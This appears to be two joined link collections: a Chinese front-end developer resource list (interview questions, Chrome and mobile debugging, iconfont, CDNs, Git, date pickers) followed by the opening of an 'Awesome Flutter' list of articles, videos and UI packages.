2014最新前端面试题|https://github.com/markyun/My-blog/tree/master/Front-end-Developer-Questions
百度面试|https://github.com/fex-team/interview-questions
前端工作面试问题|https://github.com/darcyclarke/Front-end-Developer-Interview-Questions/tree/master/Chinese
前端开发面试题|http://segmentfault.com/a/1190000000465431
5个经典的前端面试问题| [5个经典的前端面试问题](http://ourjs.com/detail/5%E4%B8%AA%E7%BB%8F%E5%85%B8%E7%9A%84%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%97%AE%E9%A2%98)
最全前端面试问题及答案总结 |http://segmentfault.com/a/1190000002562454
如何面试一名前端开发工程师？|http://www.html-js.com/article/Large-search-front-team-column%202961
史上最全 前端开发面试问题及答案整理|https://github.com/hawx1993/Front-end-Interview-questions
前端实习生面试总结 |http://www.cnblogs.com/xiaoruo/p/4665163.html
史上最全 前端开发面试问题及答案整理|https://github.com/hawx1993/Front-end-Interview-questions
BAT及各大互联网公司2014前端笔试面试题：JavaScript篇|http://blog.jobbole.com/78738
前端开发面试题大收集|https://github.com/paddingme/Front-end-Web-Development-Interview-Question
收集的前端面试题和答案|https://github.com/qiu-deqing/FE-interview
如何面试前端工程师|http://www.zhihu.com/question/19568008
前端开发面试题|https://github.com/markyun/My-blog/blob/master/Front-end-Developer-Questions/Questions-and-Answers/README.md
牛客网-笔试面经|http://www.nowcoder.com/discuss?type=2
## __iconfont__
iconfont|地址
:----:|:----:
中文字体|http://www.zhihu.com/question/21253343
淘宝字库|http://iconfont.cn
字体|http://mux.alimama.com/fonts
制作教程|http://iconfont.cn/help/platform.html
zhangxinxu-icommon|http://www.zhangxinxu.com/wordpress/?s=icomoon
icommon|https://icomoon.io/app
用字体在网页中画ICON图标(推荐教程|http://imooc.com/learn/243
字体压缩工具|http://font-spider.org
## __Fiddler__
Fiddler|地址
:----:|:----:
Fiddler调式使用知多少(一深入研究|http://www.cnblogs.com/tugenhua0707/p/4623317.html
微信fiddle|http://www.cnblogs.com/strick/p/4570006.html
微信fiddle|http://gaoboy.com/article/26.html
## __Chrome__
Chrome|地址
:----:|:----:
Google Chrome 官方 | https://developer.chrome.com/devtools
**如何更好地运用 Chrome (Google)** | http://jeffjade.com/2017/05/01/122-how-to-better-use-google_chrome/
Chrome - 基础|http://www.cnblogs.com/constantince/p/4565261.html
Chrome - 进阶|http://www.cnblogs.com/constantince/p/4579121.html
Chrome - 性能|http://www.cnblogs.com/constantince/p/4585983.html
Chrome - 性能进阶|http://www.cnblogs.com/constantince/p/4607497.html
Chrome - 移动|http://www.cnblogs.com/constantince/p/4624241.html
Chrome - 使用技巧|http://www.cnblogs.com/liyunhua/p/4544738.html
Chrome - Console控制台不完全指南|http://www.cnblogs.com/Wayou/p/chrome-console-tips-and-tricks.html
Chrome - Workspace使浏览器变成IDE|http://c7sky.com/chrome-devtools-workspace.html
network面板|http://www.html-js.com/article/Nothing-blind%202975
chrome开发工具快捷键|http://anti-code.com/devtools-cheatsheet
chrome调试工具常用功能整理|http://www.html-js.com/article/2327
Chrome 开发工具 Workspace 使用|http://www.iinterest.net/2014/05/09/chrome-dev-tool-workspace
Chrome神器Vimium快捷键学习记录 |http://www.cppblog.com/deercoder/archive/2011/10/22/158886.html
sass调试-w3cplus|http://www.w3cplus.com/sassguide/debug.html
如何更专业的使用Chrome开发者工具-w3cplus|http://www.w3cplus.com/tools/how-to-use-chrome-devtools-like-a-pro.html
chrome调试canvas|http://sentsin.com/web/253.html
chrome profiles1|https://developer.chrome.com/devtools/index
chrome profiles3|http://www.oschina.net/translate/performance-optimisation-with-timeline-profiles
chrome移动版调试|https://developer.chrome.com/devtools/docs/mobile-emulation
chrome调试|http://ued.taobao.org/blog/2012/06/debug-with-chrome-dev-tool
chrome的调试|http://www.cnblogs.com/QLeelulu/archive/2011/08/28/2156402.html
chrome console 命令详解|https://developer.chrome.com/devtools/docs/commandline-api
查看事件绑定1|http://www.cnblogs.com/leonkao/p/3809655.html
查看事件绑定2|http://www.cnblogs.com/xiaoyao2011/p/3447421.html
神器——Chrome开发者工具(一|http://segmentfault.com/a/1190000000683599
奇趣百科性能优化(Chrome DevTools 中的 Timeline Profils 等工具使用介绍|https://xinranliu.me/2015-05-22-qiqu-performance
chrome 开发者工具的 15 个小技巧|http://frontenddev.org/link/15-tips-of-chrome-developer-tools.html
Chrome开发者工具不完全指南|http://1ke.co/course/361
Chrome 开发者工具使用技巧|http://segmentfault.com/a/1190000003882567
## __Firebug__
Firebug|地址
:----:|:----:
firebug视频教程|http://www.imooc.com/learn/137
firefox 模拟器|https://developer.mozilla.org/zh-CN/docs/Tools/WebIDE
console.log 命令详解|http://www.cnblogs.com/ctriphire/p/4116207.html
Firebug入门指南|http://www.ruanyifeng.com/blog/2008/06/firebug_tutorial.html
Firebug控制台详解|http://www.ruanyifeng.com/blog/2011/03/firebug_console_tutorial.html
## __移动,微信调试__
移动,微信调试|地址
:----:|:----:
浏览器端调试安卓|https://openstf.github.io
移动端前端开发调试|http://yujiangshui.com/multidevice-frontend-debug
使用 Chrome 远程调试 Android 设备|https://github.com/yujiangshui/CN-Chrome-DevTools/blob/remote-debugging/md/Use-Tools/remote-debugging.md
mac移动端调试|http://plus.uc.cn/document/webapp/doc5.html
mac移动端调试|http://www.mihtool.com
无线调试攻略|http://thx.github.io/mobile/debugging-in-mobile
无线调试攻略|http://yanhaijing.com/mobile/2014/12/17/web-debug-for-mobile
屌爆了,完美调试 微信webview(x5|http://www.jianshu.com/p/ccf124f1f74b
微信调试的那些事| [微信调试的那些事](http://liyaodong.com/2015/07/06/%E5%BE%AE%E4%BF%A1%E8%B0%83%E8%AF%95%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B)
远程console|http://jsconsole.com
微信调试工具|http://blog.qqbrowser.cc
各种真机远程调试方法汇总|https://github.com/jieyou/remote_inspect_web_on_real_device
## __iOS Simulator__
iOS Simulator|地址
:----:|:----:
Simulator| [iOS_Simulator_Guide-Introduction](https://developer.apple.com/library/ios/documentation/IDEs/Conceptual/iOS_Simulator_Guide/Introduction/Introduction.html)
iOS Simulator的介绍和使用心得|http://www.crifan.com/intro_ios_simulator_in_xcode_and_usage_summary
## __Image__
img|地址
:----:|:----:
loading img|http://preloaders.net/en/circular
智图-图片优化平台|http://zhitu.isux.us
在线png优化|https://tinypng.com
SM.MS(图床工具～简易好用)|https://sm.ms/
yutuku：极简图床|http://yotuku.cn/
Qchan图床|http://tuchuang.org/
## __浏览器同步__
浏览器同步|地址
:----:|:----:
puer|https://github.com/leeluolee/puer
liveReload|http://livereload.com
f5|http://getf5.com
File Watchers|http://geek100.com/2608
## __在线PPT制作__
在线PPT制作|地址
:----:|:----:
nodePPT| [nodePPT](http://js8.in/2013/11/16/%E6%8E%A8%E8%8D%90nodeppt%EF%BC%9A%E4%BD%BF%E7%94%A8markdown%E8%AF%AD%E6%B3%95%E6%9D%A5%E5%86%99%E7%BD%91%E9%A1%B5ppt)
**Cleaver快速制作网页PPT**|http://www.jeffjade.com/2015/10/15/2015-10-16-cleaver-make-ppt/
**impress.js** | http://www.cnblogs.com/Darren_code/archive/2013/01/04/impressjs.html
PPT|https://github.com/ksky521/nodePPT
**reveal**|https://github.com/hakimel/reveal.js
bespoke-fx|https://github.com/ebow/bespoke-fx
slippy|https://github.com/Seldaek/slippy
## __前端导航网站__
前端导航网站|地址
:----:|:----:
界面清爽的前端导航|http://uxbees.com/index.html
前端导航|http://whycss.com
前端网址导航|http://www.daqianduan.com/nav
前端名录|http://sentsin.com/daohang
前端导航|http://123.jser.us
前端开发资源|http://www.css88.com/nav
前端开发仓库 - 众多效果的收集地|http://code.ciaoca.com
前端资源导航|https://github.com/jnoodle/f2e-collect
F2E 前端导航|http://f2e.im/static/pages/nav/index.html
## __常用CDN__
常用CDN|地址
:----:|:----:
新浪CDN|http://lib.sinaapp.com
百度静态资源公共库|http://cdn.code.baidu.com
360网站卫士常用前端公共库CDN服务|http://libs.useso.com
Bootstrap中文网开源项目免费 CDN 服务|http://www.bootcdn.cn
开放静态文件 CDN - 七牛|http://staticfile.org
CDN加速 - jq22|http://www.jq22.com/cdn
jQuery CDN|http://code.jquery.com
微软CDN|http://www.asp.net/ajax/cdn
## __Git__
Git|地址
:----:|:----:
git-scm|http://git-scm.com
廖雪峰-Git教程| [廖雪峰-Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
git-for-windows|https://git-for-windows.github.io
GitHub 添加 SSH keys|http://daemon369.github.io/git/2015/03/10/add-ssh-keys-for-github
gogithub|http://www.worldhello.net/gotgithub/index.html
git常规命令练习|http://pcottle.github.io/learnGitBranching
git的资料整理|https://github.com/xirong/my-git
我所记录的git命令（非常实用）|http://www.cnblogs.com/fanfan259/p/4810517.html
企业开发git工作流模式探索部分休整|https://github.com/xirong/my-git/blob/master/git-workflow-tutorial.md
GitHub 漫游指南|https://github.com/phodal/github-roam
GitHub秘籍|https://github.com/tiimgreen/github-cheat-sheet/blob/master/README.zh-cn.md
使用git和github进行协同开发流程|http://livoras.com/post/28
动画方式练习git|http://onlywei.github.io/explain-git-with-d3
## __各种日期日历__
各种日期日历 | 地址
:----:|:----:
经典my97|http://www.my97.net/dp/demo/index.htm
强大的独立日期选择器|http://www.cnblogs.com/gbin1/archive/2012/04/16/2452105.html
fullcalendar|http://fullcalendar.io
fullcalendar日历控件知识点集合 |http://blog.csdn.net/francislaw/article/details/7740630
中文api|http://blog.sina.com.cn/s/blog_9475b1c101012c5f.html
农历日历|https://github.com/zzyss86/LunarCalendar
超酷的仿百度带节日日历老黄历控件|http://www.sucaisj.com/jiaoben/date/201509/16856.html
日期格式化|http://momentjs.com
大牛日历控件|https://github.com/Johnqing/QPAYCalendar
我群某管理作品|https://github.com/Iamlars/dateMarker
input按位替换-官网|http://digitalbush.com/projects/masked-input-plugin
input按位替换-github|https://github.com/digitalBush/jquery.maskedinput/tree/1.2.2
bootstrap-daterangepicker|https://github.com/dangrossman/bootstrap-daterangepicker
国外30个插件集合|http://www.vandelaydesign.com/30-best-free-jquery-plugins
JavaScript datepicker|http://dbushell.com/2012/10/09/pikaday-javascript-datepicker
Datepair.js|http://jonthornton.github.io/Datepair.js
一个风格多样的日历|https://github.com/glad/glDatePicker
弹出层式的全日历|http://amsul.ca/pickadate.js/date
jquery双日历|http://www.daterangepicker.com
大气实用jQuery手机移动端日历日期选择插件|http://www.frankdemo.cn/index.php?c=content&a=show&id=115
jQuery Mobile 移动开发中的日期插件Mobiscroll |https://mobiscroll.com
## __Date library__
Date library | 地址
:----:|:----:
Datejs|https://github.com/datejs/Datejs
sugarjs|http://sugarjs.com/api/Date
## __其它__
其它| 地址
:----:|:----:
Mock.js 是一款模拟数据生成器|http://mockjs.com
特色的HTML框架可以创建精美的iOS应用|http://framework7.taobao.org
淘宝SUI|http://m.sui.taobao.org
avalonjs|http://avalonjs.github.io
Avalon新一代UI库： OniUI|http://ued.qunar.com/oniui/index.html
avalon.oniui-基于avalon的组件库|https://github.com/RubyLouvre/avalon.oniui
生成二维码(草料)|http://cli.im
## __效果类__
效果类 | 地址
:----:|:----:
弹出层|http://www.imooc.com/learn/58
焦点图轮播特效|http://www.imooc.com/learn/18
**HTML5 有哪些让你惊艳的 demo？** |http://www.zhihu.com/question/24398907
## __弹出层__
弹出层| 地址
:----:|:----:
artDialog 最新版|https://github.com/aui/artDialog
artDialog 文档|http://aui.github.io/artDialog/doc/index.html
google code 下载地址|https://code.google.com/p/artdialog/downloads/list
贤心弹出层|http://layer.layui.com
响应式用户交互组件库|https://github.com/bh-lay/UI
sweetalert-有css3动画弹出层|http://t4t5.github.io/sweetalert
## __优秀JavaScript项目__
优秀JavaScript项目 | 地址
:----:|:----:
Angular和Webpack种子文件|https://github.com/AngularClass/angular2-webpack-starter
Fis3面向前端的工程构建系统|https://github.com/fex-team/fis3
Fis3 DEMO|https://github.com/fex-team/fis3-demo
前端JQuery系列:源码剖析|https://github.com/JsAaron/jQuery
avalon框架|https://github.com/RubyLouvre/avalon
Microsoft ChakraCore 微软的Chakra引擎|https://github.com/Microsoft/ChakraCore
Quintus HTML游戏引擎|https://github.com/cykod/Quintus
一个用node.js搭建的有趣博客|https://github.com/STRML/strml.net
Web前端助手--FeHelper（Chrome扩展）|https://github.com/zxlie/FeHelper
百度前端技术学院|https://github.com/baidu-ife/ife
Cheerio（node.js中的jQuery）|https://github.com/cheeriojs/cheerio
nodejs的一个聊天软件 类似微信|https://github.com/BryanYang/freechat
使用html5和node.js构建的网易云音乐|https://github.com/stkevintan/Cube
babel ES6转换为ES5|https://github.com/babel/babel
一个JS富文本编辑器|https://github.com/fex-team/ueditor
一个JS脑图可视化工具|https://github.com/fex-team/kityminder-core
一个JS写的Flappy Bird Game|https://github.com/ellisonleao/clumsy-bird
一个JS写的GBA模拟器|https://github.com/taisel/IodineGBA
SegmentFault写的Markdown解析器|https://github.com/SegmentFault/HyperDown.js
基于node.js的Ghost博客|https://github.com/TryGhost/Ghost
学习react的demos|https://github.com/ruanyf/react-demos
>转载请保留原链接：http://www.jeffjade.com/2016/03/30/104-front-end-tutorial/
---
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|
[<img src="https://user-images.githubusercontent.com/1295961/45949308-cbb2f680-bffb-11e8-8054-28c35ed6d132.png" align="center" width="850">](https://flutter.dev/)
<p align="center">
<a href="https://github.com/search?q=flutter+language%3Adart&type=Repositories">
<img alt="Github Repositories" src="https://img.shields.io/badge/Repos-254629-brightgreen.svg" />
</a>
<a href="https://github.com/sindresorhus/awesome">
<img alt="Awesome" src="https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg" />
</a>
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<img alt="Awesome" src="https://img.shields.io/twitter/url/https/twitter.com/blueaquilae.svg?style=social&label=Follow%20%40blueaquilae" />
</a>
</p>
<a href="https://flutter.dev/">Flutter</a> is Google’s UI toolkit for building beautiful, natively compiled applications for mobile, web, and desktop from a single codebase.
If you appreciate the content 📖, support projects visibility, give 👍| ⭐| 👏
<a href="https://getstream.io/chat/sdk/flutter/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Mar2022_FlutterChatSDK&utm_term=Awesome">
<img src="https://user-images.githubusercontent.com/1295961/160238710-1b5a987a-478e-41b4-b11c-37be8670a8c9.png"/>
</a>
#### Demonstrations
<div style="text-align: center"><table><tr>
<td style="text-align: center, width: 180">
[Instant Chat Integration](https://getstream.io/chat/sdk/flutter/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Mar2022_FlutterChatSDK&utm_term=Awesome)
<a href="https://getstream.io/chat/sdk/flutter/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Mar2022_FlutterChatSDK&utm_term=Awesome">
<img alt="Stream" src="./.github/stream-animation.gif" />
</a>
[with Stream!](https://getstream.io/chat/sdk/flutter/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Mar2022_FlutterChatSDK&utm_term=Awesome)
</td>
<td style="text-align: center">
<img width="180" alt="BMW" src="https://user-images.githubusercontent.com/1295961/160239273-ce881c0c-c3de-4953-9448-dfd12d7ffe30.png">
BMW
Connect
</td>
<td style="text-align: center">
<img width="180" alt="BlueAquilae Twitter Meteo" src="https://user-images.githubusercontent.com/1295961/160238906-540a4a0d-b721-4c73-8b58-58b96b5e6414.png">
Calendar
Meteo
</td>
</tr></table></div>
## Contents
- [Articles](#articles)
- [Videos](#videos)
- [Components](#components)
- [Navigation](#navigation)
- [Template](#templates)
- [Plugins](#plugins)
- [Frameworks](#frameworks)
- [Experimental](#experimental)
- [Open Source Apps](#open-source-apps)
- [Web](#web)
- [Utilities](#utilities)
- [Books](#books)
- [Bonus](#bonus)
- [Community](#community)
## Articles
### Introduction
- [Google IO 2018](https://medium.com/flutter-io/building-beautiful-flexible-user-interfaces-with-flutter-material-theming-and-official-material-13ae9279ef19) - Building beautiful, flexible user interfaces.
- [Presentation](https://speakerdeck.com/hjjunior/why-i-chose-flutter) - by [Helio S. Junior](https://github.com/hjJunior).
- [Flutter Web](https://medium.com/flutter-community/ins-and-outs-of-flutter-web-7a82721dc19a) - Ins and Outs of Flutter Web by [Nash](https://github.com/nash0x7e2).
### Websites / Blogs
- [Welcome to Flutter](https://didierboelens.com) - English and French blog dedicated to providing practical solutions to most asked questions about Flutter by Didier Boelens.
- [SZAŁKO-BLOG](https://marcinszalek.pl/) - Step by step advanced design by [Marcin Szalek](https://marcinszalek.pl).
- [Flutter by Example](https://flutterbyexample.com/) - Tutorials based on Redux, Firebase, Custom Animations, and UI.
- [Flutter Institute](https://flutter.institute/) - Very original content and tutorials by [Brian Armstrong](https://twitter.com/flutterinst).
- [Iirokrankka.com](https://iirokrankka.com/) - Articles and tutorials and anything related by [Iiro Krankka](https://twitter.com/koorankka).
- [Norbert](https://medium.com/@norbertkozsir) - In depth articles, features and app creation by [Norbert515](https://github.com/Norbert515).
- [Flutter Tips](https://medium.com/@diegoveloper) - Articles, tips & tricks in the development by [Diego Velásquez](https://twitter.com/diegoveloper).
- [FilledStacks](https://www.filledstacks.com/) - Tutorials and guides on development by [Dane Mackier](https://www.instagram.com/filledstacks/).
- [Awesome Flutter tips](https://github.com/erluxman/awesomefluttertips/) - Tips to help developers increase productivity by [erluxman](https://twitter.com/erluxman/).
### Tutorial
- [Animated Chat](https://codelabs.developers.google.com/codelabs/flutter/#0) - Building beautiful UIs by Google Code Labs.
- [Firebase Chat](https://codelabs.developers.google.com/codelabs/flutter-firebase/#0) - Firebase integration by Google Code Labs.
- [Planets-Flutter: from design to app](http://sergiandreplace.com/2017/09/planets-flutter-from-design-to-app) - Detailed planets design tutorial.
- [Todo List](https://github.com/lesnitsky/todolist_flutter) [259⭐] – Step by step tutorial how to build Todo List with Flutter by [Andrei Lesnitsky](https://twitter.com/lesnitsky_dev)
- [Flutter and Dart development](https://suragch.medium.com/flutter-and-dart-development-articles-981be9ef7b23) - Articles and tutorials by [Suragch](https://twitter.com/Suragch1).
### Beginner
- [Roadmap to Flutter Development](https://github.com/olexale/flutter_roadmap) [2795⭐] - Visual roadmap with principles, patterns, and frameworks for Flutter newbies by [Olexandr Leuschenko](https://github.com/olexale).
- [Layout Cheat Sheet](https://medium.com/flutter-community/flutter-layout-cheat-sheet-5363348d037e) - Extensive examples of layout widgets by [Tomek Polański](https://github.com/tomaszpolanski).
- [Getting Started with Flutter](https://www.raywenderlich.com/24499516-getting-started-with-flutter) - by [raywenderlich.com](https://www.raywenderlich.com).
- [Beginner's Guide](https://github.com/antz22/ultimate-guide-to-flutter) [123⭐] - Comprehensive guide to the basics of Flutter and Firebase by [Anthony](https://github.com/antz22).
### Intermediate
- [Flutter state management for minimalists](https://suragch.medium.com/flutter-state-management-for-minimalists-4c71a2f2f0c1?sk=6f9cedfb550ca9cc7f88317e2e7055a0) - Understanding app architecture without relying on third-party frameworks by [Suragch](https://twitter.com/Suragch1). See also [State Management](#state-management).
### Advanced
- [Rendering Pipeline](https://www.youtube.com/watch?v=UUfXWzp0-DU) [799👍] and [Let's build a render tree](https://www.youtube.com/watch?v=VsYbFnucHsU) - Engine architecture by Adam Barth.
- [Render Objects](https://medium.com/flutter-community/flutter-what-are-widgets-renderobjects-and-elements-630a57d05208) - What are Widgets, RenderObjects and Elements? by [Norbert515](https://github.com/Norbert515).
- [Streams and RxDart](https://skillsmatter.com/skillscasts/12254-flutter-with-streams-and-rxdart) - Skillmatters presentation by [Brian Egan](https://github.com/brianegan).
- [Gesture System](https://medium.com/flutter-community/flutter-deep-dive-gestures-c16203b3434f) - Flutter Deep Dive: Gestures by [Nash](https://github.com/nash0x7e2).
- [Schemas](https://www.didierboelens.com/2018/06/widget---state---context---inheritedwidget/) - Widget, State, Context and InheritedWidget explanations by [Didier Boelens](https://didierboelens.com).
- [Rendering Engine Tutorial](https://medium.com/saugo360/flutters-rendering-engine-a-tutorial-part-1-e9eff68b825d) - Flutter's Rendering Engine: A Tutorial by [AbdulRahman AlHamali](https://github.com/AbdulRahmanAlHamali/).
- [Inherited Widget](https://medium.com/@chemamolins/is-flutters-inheritedwidget-a-good-fit-to-hold-app-state-2ec5b33d023e) - Flutter’s InheritedWidget to hold app state by [Chema Molins](https://github.com/jmolins).
- [From Mobile to Desktop](https://medium.com/flutter-community/flutter-from-mobile-to-desktop-93635e8de64e) - Building applications for smartphones and desktops by [Marcelo Henrique Neppel](https://neppel.com.br).
- [Accessibility widgets](https://medium.com/flutter-community/a-deep-dive-into-flutters-accessibility-widgets-eb0ef9455bc) - Deep dive information about all aspects of accessibility by [Muhammed Salih Güler](https://twitter.com/salihgueler).
- [Profiling w/ Timeline](https://medium.com/flutter-io/profiling-flutter-applications-using-the-timeline-a1a434964af3) - Using the Timeline allows you to find and address specific performance issues in your application by [Chinmay Garde](https://medium.com/@chinmaygarde).
### Howtos
- [Parallax Effect](https://marcinszalek.pl/flutter/tickets-challenge-parallax) - Parallax & non linear animation by [Marcin Szalek](https://marcinszalek.pl).
- [Build Flavor](https://medium.com/@salvatoregiordanoo/flavoring-flutter-392aaa875f36) - Define build configurations and switch them by [Salvatore Giordano](https://medium.com/@salvatoregiordanoo).
- [Build Flavor](https://medium.com/@angeloavv/easily-build-flavors-in-flutter-android-and-ios-with-flutter-flavorizr-d48cbf956e4) - Easily build flavors in Flutter (Android and iOS) with flutter_flavorizr by [Angelo Cassano](https://medium.com/@angeloavv).
## Videos
- [Boring Show](https://www.youtube.com/watch?v=CPmN4-i9zC8&list=PLOU2XLYxmsIK0r_D-zWcmJ1plIcDNnRkK) - Exploration with the Flutter Team.
- [Tensor Programming](https://www.youtube.com/watch?v=WwhyaqNtNQY&list=PLJbE2Yu2zumDqr_-hqpAN0nIr6m14TAsd) [86🎬] - Very rich content by [Tensor Programming](http://tensor-programming.com/).
- [Mtechviral](https://www.youtube.com/watch?v=qWL1lGchpRA&list=PLR2qQy0Zxs_UdqAcaipPR3CG1Ly57UlhV) [245🎬] - [Hindi/English] Mtechviral Series By [Pawan Kumar](https://github.com/iampawan).
- [Flutter in Practice](https://www.youtube.com/playlist?list=PLhXZp00uXBk5TSY6YOdmpzp1yG3QbFvrN) - Free video courssd for beginners & non-programmers by [Zaiste](https://zaiste.net/).
- [Whatsupcoders](https://www.youtube.com/c/whatsupcoders) [82🎬] - Free video series on Flutter Widgets by [Kamal](https://github.com/whatsupcoders).
- [Reso Coder](https://www.youtube.com/channel/UCSIvrn68cUk8CS8MbtBmBkA) - Intermediate and advanced videos by [Matej Rešetár](https://github.com/ResoCoder).
## Components
### Demonstrations
- [Official Gallery](https://github.com/flutter/gallery) - Demo for the material design widgets provided by Flutter Team.
- [Flutter Examples](https://github.com/nisrulz/flutter-examples) [5861⭐] - Simple basic isolated apps for devs by [Nishant Srivastava](https://github.com/nisrulz).
- [Flutter Catalog](https://github.com/X-Wei/flutter_catalog) [1601⭐] - showcasing Flutter components, with side-by-side source code view, by [X-Wei](https://github.com/X-Wei).
- [Generative Art](https://github.com/Solido/flutter-d-art) [401⭐] - Generative Art by [Robert Felker](https://github.com/Solido).
### UI
- [StaggeredGridView](https://github.com/letsar/flutter_staggered_grid_view) [2292⭐] - GridView with tiles of variable sizes by [Romain Rastel](https://github.com/letsar).
- [Radial Menu](https://github.com/xqwzts/flutter_radial_menu) [401⭐] - Animated Radial Menu by [Victor Choueiri](https://github.com/xqwzts).
- [Tinder Cards](https://github.com/Ivaskuu/tinder_cards) [646⭐] - Tinder like cards swipe effect by [Ivascu Adrian](https://github.com/Ivaskuu).
- [Flip Panel](https://github.com/hnvn/flutter_flip_panel) [461⭐] - Flip panel with built-in animation by [HungHD](https://github.com/hnvn).
- [Facebook Reactions](https://github.com/duytq94/facebook-reaction-animation) [261⭐] - Facebook reactions widget by [Duy Tran](https://github.com/duytq94).
- [Flushbar](https://github.com/AndreHaueisen/flushbar) [818⭐] - Highly configurable Snackbar by [Andre Haueisen](https://github.com/AndreHaueisen).
- [Stepper Touch](https://github.com/Rahiche/stepper_touch) [238⭐] - Lateral value stepper nicely animated by [Raouf Rahiche](https://github.com/Rahiche).
- [Typeahead](https://github.com/AbdulRahmanAlHamali/flutter_typeahead) [560⭐] - Display overlay suggestions to users as they type by [Abdul Rahman Al Hamali](https://github.com/AbdulRahmanAlHamali).
- [Snaplist](https://github.com/ariedov/flutter_snaplist) [366⭐] - Create snappable list views by [David Leibovych](https://github.com/ariedov).
- [Pin Code](https://github.com/LiewJunTung/pin_code_text_field) [252⭐] - Animated & customisable Pin code for login and OTP by [Liew Jun Tung](https://github.com/liewjuntung).
- [Folding Cell](https://github.com/faob-dev/folding_cell) [430⭐] - Fold your widget by [Faob](https://github.com/faob-dev).
- [Liquid Pull To Refresh](https://github.com/aagarwal1012/Liquid-Pull-To-Refresh) [922⭐] - A beautiful and custom refresh indicator by [Ayush Agarwal](https://github.com/aagarwal1012/).
- [Slide Container](https://pub.dev/packages/slide_container) Slide vertically and horizontally with a smooth dampened motion by [Quentin Le Guennec](https://github.com/quentinleguennec).
- [Direct Select](https://github.com/LanarsInc/direct-select-flutter) - Selection widget with an ethereal, full-screen modal popup by [Ivan Yatsouba](https://github.com/iyatsouba).
- [Before After](https://github.com/xsahil03x/before_after) [580⭐] - Beautiful slider which makes it easier to display the difference between two images, by [Sahil Kumar](https://github.com/xsahil03x).
- [Scratcher](https://github.com/vintage/scratcher) [306⭐] - Scratch card widget which temporarily hides content from user, by [Kamil Rykowski](https://github.com/vintage).
- [Image Sequence Animator](https://github.com/aliyigitbireroglu/flutter-image-sequence-animator) [104⭐] - A simple widget for animating a set of images with full custom controls as an alternative to using a GIF file by [Ali Yigit Bireroglu](https://github.com/aliyigitbireroglu).
- [Beautiful_Popup](https://github.com/jaweii/Flutter_beautiful_popup) [452⭐] - Beautify your app popup by [jaweii](https://github.com/jaweii).
- [Credit Card Form](https://github.com/Origogi/Flutter-Credit-Card-Input) [317⭐] - Animated credit card input form [Origogi](https://github.com/Origogi).
- [Animated Selection Slide](https://github.com/sbilketay/animated_selection_slide) An animated selection widget by swiping by [Sezgin Bilgetay](https://github.com/sbilketay).
- [Flutter Tags](https://github.com/Dn-a/flutter_tags) [332⭐] - Tags with different customizations by [Di Natale Antonino](https://github.com/Dn-a).
- [Flutter Neumorphic](https://github.com/Idean/Flutter-Neumorphic) [1329⭐] - Ready to use Neumorphic kit for Flutter with 🕶️ dark mode.
- [Dough](https://github.com/HatFeather/flutter_dough) [388⭐] - Widgets for a squishy user interface by [Josiah Saunders](https://github.com/HatFeather).
- [Card Settings](https://github.com/codegrue/card_settings) [356⭐] - package for building settings forms by [codegrue](https://github.com/codegrue).
- [Timelines](https://github.com/chulwoo-park/timelines) [413⭐] - Powerful & Easy to use timeline package by [Chulwoo Park](https://github.com/chulwoo-park).
- [Timeline Tile](https://github.com/JHBitencourt/timeline_tile) [446⭐] - A tile to help build beautiful and customisable timelines by [Julio Bitencourt](https://github.com/JHBitencourt).
- [Rounded Loading Button](https://github.com/chrisedg87/flutter_rounded_loading_button) [127⭐] - Button with a loading indicator, complete with success and error animations by [Chris Edgington](https://twitter.com/ChrisTheEdg).
- [PlutoGrid](https://github.com/bosskmk/pluto_grid) [182⭐] - Web and desktop datagrid that can be controlled by the keyboard by [bosskmk](https://github.com/bosskmk).
#### Sticky Headers
- [Sticky Infinite List](https://github.com/TatsuUkraine/flutter_sticky_infinite_list) [234⭐] - Highly configurable multi directional infinite list with Sticky Headers by [TatsuUkraine](https://github.com/TatsuUkraine).
- [Sticky Header](https://github.com/letsar/flutter_sticky_header) [666⭐] - Sliver based sticky headers by [Romain Rastel](https://github.com/letsar).
- [Sticky Headers](https://github.com/slightfoot/flutter_sticky_headers) [731⭐] - Configurable sticky headers by [Simon Lightfoot](http://www.devangels.london/).
#### Drawers
- [Hidden Drawer Menu](https://github.com/RafaelBarbosatec/hidden_drawer_menu) [231⭐] - Beautiful drawer mode menu feature with perspective animations by [Rafael Almeida Barbosa](https://github.com/RafaelBarbosatec).
- [Flutter Inner Drawer](https://github.com/Dn-a/flutter_inner_drawer) [385⭐] - Easy way to create an internal drawer (left / right) where you can enter a list-menu or other by [Di Natale Antonino](https://github.com/Dn-a).
#### Bottom bars
- [Fancy Bottom Navigation](https://github.com/tunitowen/fancy_bottom_navigation) [545⭐] - Animated bottom navigation by [Tony Owen](https://github.com/tunitowen).
- [Circular Bottom Navigation](https://github.com/imaNNeoFighT/circular_bottom_navigation) [439⭐] - Beautiful animated bottom navigation bar by [Iman Khoshabi](https://github.com/imaNNeoFighT).
- [Bottom Navy Bar](https://github.com/pedromassango/bottom_navy_bar) [775⭐] - Beautiful and colorful animated bottom navigation bar by [Pedro Massango](https://github.com/pedromassango).
- [Titled Navigation Bar](https://github.com/pedromassango/titled_navigation_bar) [291⭐] - Animated bottom navigation bar that switch between icon and title by [Pedro Massango](http://github.com/pedromassango).
- [Google Nav Bar](https://github.com/sooxt98/google_nav_bar) [409⭐] - A modern google style nav bar for flutter by [Sooxt98](http://github.com/sooxt98).
#### Bottom Sheets
- [Rubber Bottom Sheet](https://github.com/mcrovero/rubber) [418⭐] - Elastic material bottom sheet by [Mattia Crovero](https://github.com/mcrovero).
- [Modal Bottom Sheet](https://github.com/jamesblasco/modal_bottom_sheet) [1082⭐] - Modal bottom sheet with Material, Cupertino iOS13 or custom appareance by [Jaime Blasco](https://github.com/jamesblasco).
#### Sliders
- [RangeSlider](https://github.com/boeledi/RangeSlider) [318⭐] - 2-thumb configurable RangeSlider by [Didier Boelens](https://www.didierboelens.com).
